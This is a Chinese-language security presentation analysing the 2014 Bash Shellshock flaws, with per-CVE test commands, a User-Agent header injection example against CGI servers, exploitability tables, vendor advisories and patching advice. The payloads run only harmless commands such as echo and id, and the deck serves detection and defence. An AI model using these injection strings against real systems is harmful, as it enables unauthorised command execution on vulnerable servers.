bash 漏洞深入探討
DESCRIPTION
bash shellshock analysisTRANSCRIPT
BASH 漏洞深入探討 [email protected] [email protected]
BASH 威脅潛伏
CVE-2014-6271
! Stéphane Chazelas 在 9 月 12 日發現一個從1992 年就存在的漏洞!
! env x='() { :;}; echo vulnerable’ bash -c ”echo test" !
! Bash 的函式格式: () {}; ! Example: fun() { echo test; } ;
env x='() { :;}; echo vulnerable' bash -c ”echo test"
Linux 指令: 用來顯示環境變數或是用來定義環境變數
函數外面的區域理論上不應該執行 執行 bash ,環境變數繼承的關係,因此觸發此漏洞
Bash 程式原始碼
程式開發的問題
! 程式久遠不可考 – 缺少 ChangeLog ! 究竟是被埋入 backdoor 還是失誤的 bug ?
! 程式寫法太老且危險 – strcpy
! 依賴環境變數是 Unix 的宿命
! 還有多少 20 年的 backdoor bug ?
CVE-2014-6277
$ env X='() { x() { _; }; x() { _; } <<a; }' bash -c 'echo'
Segmentation fault (core dumped)
$ env X="() { x() { _; }; x() { _; } <<`perl -e '{print "A"x1000}'`; }" bash -c :
Segmentation fault (core dumped)
CVE-2014-6278
$ env X='() { _; } >_[$($())] { echo hi mom; id; }' bash -c 'echo test'
hi mom
uid=1000(timhsu) gid=1000(timhsu) groups=1000(timhsu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
test
CVE-2014-7169
! env X='() { (a)=>\' sh -c "echo date"; cat echo
$ >\
echo date
! Example
sprintf(msg,"echo 'No such user: %s\n'", getenv("USER"));
system(msg);
CVE-2014-7186
$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"
Segmentation fault (core dumped)
CVE-2014-7186 vulnerable, redir_stack
CVE-2014-7187
! only works when Bash is built with –fsanitize
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno”
如何利用環境變數遠端攻擊 CVE-2014-6271
HTTPD
MOD_REWRITE
將 HTTP Request 的User-Agent 轉成環境變數
環境變數 HTTP_USER_AGENT=() { :; }; echo Works � �
程式中使用了 system(),因 system() 會透過 /bin/sh –c 執行命令
User-Agent: () { :; }; echo Works
透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及內容
C
/bin/sh
若是 /bin/sh 為符號連結成 /bin/bash,則執行 echo Works �
system() 會繼承環境變數 HTTP_USER_AGENT=() { :; }; echo Works � �
MOD_CGI
HTTPD
MOD_CGI
BASH SCRIPT
將 HTTP Request 的User-Agent 轉成環境變數 環境變數
HTTP_USER_AGENT=() { :; }; echo Works
SCRIPT 執行前先執行了 echo Works
User-Agent: () { :; }; echo Works
透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及內容
MOD_REWRITE
CGI 測試結果
Bash v4.1.2
C PHP v5.3.3
PERL V5.10.1
PYTHON v2.6.6
RUBY v1.8.7
mod_cgi V V V O V O
mod_fastcgi V
mod_fcgid X X X X
mod_php X
mod_perl X
mod_python X
mod_ruby X
V: 可直接利用或透過 system()/popen() 利用 O: 在未最佳化執行的 system()/popen() 情況下可利用 X: 不可被利用
Default shell (/bin/sh)
OS /bin/sh
RHEL bash
CentOS bash
Fedora bash
MacOSX bash
Ubuntu dash
Android sh
FreeBSD tcsh
DHCPClient
DHCPClient 分析
! 從 Internet Systems Consortium DHCP Distribution Version 4.2.4 的原始碼來看,的確是 dhclient.c 會從 DHCP 封包中將參數值透過內建的 client_envadd() 轉換成環境變數,再經由 execve() 執⾏行了 dhclient-script (bash script),所以當然也就中獎了
! 下列兩道指令可⽤用來檢測系統上的 dhclient 是否會被此漏洞影響
$ /sbin/dhclient - 2>&1 | grep "ISC"
This version of ISC DHCP is based on the release available
$ which dhclient-script
/sbin/dhclient-script
廠商的設備更新通報
Vendor Advisory
Oracle http://www.oracle.com/technetwork/topics/security/bashcve-2014-7169-2317675.html
Symantec http://www.symantec.com/business/support/index?page=content&id=TECH225009&actp=search&viewlocale=en_US&searchid=1411825216275
TrendMicro http://esupport.trendmicro.com/solution/en-US/1105233.aspx
QNAP http://www.qnap.com/i/en/news/con_show.php?op=showone&cid=336
IBM http://www-01.ibm.com/support/docview.wss?uid=swg21685541
Vendor Advisory
BlueCoat https://kb.bluecoat.com/index?page=content&id=SA82&actp=RSS
CheckPoint https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673&src=securityAlerts
Cisco http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
Citrix http://support.citrix.com/article/CTX200217
F5 http://support.f5.com/kb/en-us/solutions/public/15000/600/sol15629.html
Splunk http://www.splunk.com/view/SP-CAAANJN
Juniper http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648
McAfee https://kc.mcafee.com/corporate/index?page=content&id=SB10085&actp=null&viewlocale=en_US&showDraft=false&platinum_status=false&locale=en_US
結論
! 趕快升級 bash
! 使用網路設備阻擋,例如 IPS、WAF
! 盡快評估停止使用 mod_cgi 或 mod_fastcgi
! Linux 伺服器請務必作安全強化,例如啟用 SELinux、AppArmor 等
! 檢視企業所使用的網路設備是否在更新清單內